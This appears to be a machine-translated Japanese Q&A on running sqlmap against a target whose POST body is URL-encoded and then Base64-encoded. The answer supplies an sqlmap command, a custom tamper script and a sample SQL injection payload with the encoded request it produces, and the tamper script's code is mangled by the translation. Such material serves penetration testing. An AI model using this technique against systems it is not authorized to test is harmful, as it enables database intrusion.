次のようにエンコードされたものからのhttp postリクエストのターゲットがあります。
データリクエストポストは最初にURLエンコードされ、次にBase64エンコードされます。
上記のターゲットからのリクエストポストの例
POST /test/test-page.php HTTP/1.1
Host: target.com
bmFtZTElM0R2YWx1ZTElMjZuYW1lMiUzRHZhbHVlMg==
データリクエストポストをデコードするには、まずbase64でデコードし、次にurlでデコードする必要があります。実際にデコードした後次のようなもの:
POST /test/test-page.php HTTP/1.1
Host: target.com
name1=value1&name2=value2
今私の質問は:データリクエストポストからパラメーター値にクエリを挿入しながらこのターゲットでsqlmapを実行し、前述のようにエンコードしてサーバーターゲットに送信する方法です。
Sqlmapは、カスタムコードでパラメーターを処理する複数の方法をサポートしています。次のように、--eval
を使用して単一のパラメータをbase64エンコードできます。
--eval "import base64; paramname = base64.b64encode(paramname)"
また、--tamper
パラメータを使用して、ペイロードを変更するカスタムpythonスクリプトをロードできます。
残念ながら、全体 POSTクエリ文字列を改ざんすることは簡単ではありません。しかし、これは回避策の提案です:
Sqlmapコマンドで空のデータ文字列を指定し(アスタリスク(*
)を使用して注入ポイントを示します)、--tamper
スクリプトを宣言します。
$ ./sqlmap.py -u "http://example.com/" --data "*" --method POST --tamper mytamper
改ざんスクリプトは次のようになります。
import base64 import urllib def tamper(payload、** kwargs): params = 'name1 = value1%s&name2 = value2' %payload data = urllib.quote_plus(params) data = base64.b64encode(data) return data
このスクリプトは、ペイロードをクエリに挿入し、URLエンコードとbase64変換を実行します。現在、name1
パラメータをテストしています。他の注入点を確認する場合は、注入点を手動で変更する必要があります。
サンプルペイロード) AND 3825=3825 AND (7759=7759
の場合、次のようなリクエストになります。
POST / HTTP/1.1
Host: example.com
User-agent: sqlmap/1.0-dev-6fef294 (http://sqlmap.org)
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
[...]
Content-type: application/x-www-form-urlencoded; charset=utf-8
Content-length: 92
Connection: close
bmFtZTElM0R2YWx1ZTElMjkrQU5EKzM4MjUlM0QzODI1K0FORCslMjg3NzU5JTNENzc1OSUyNm5hbWUyJTNEdmFsdWUy
ご覧のとおり、POST本体はURLおよびbase64でエンコードされています。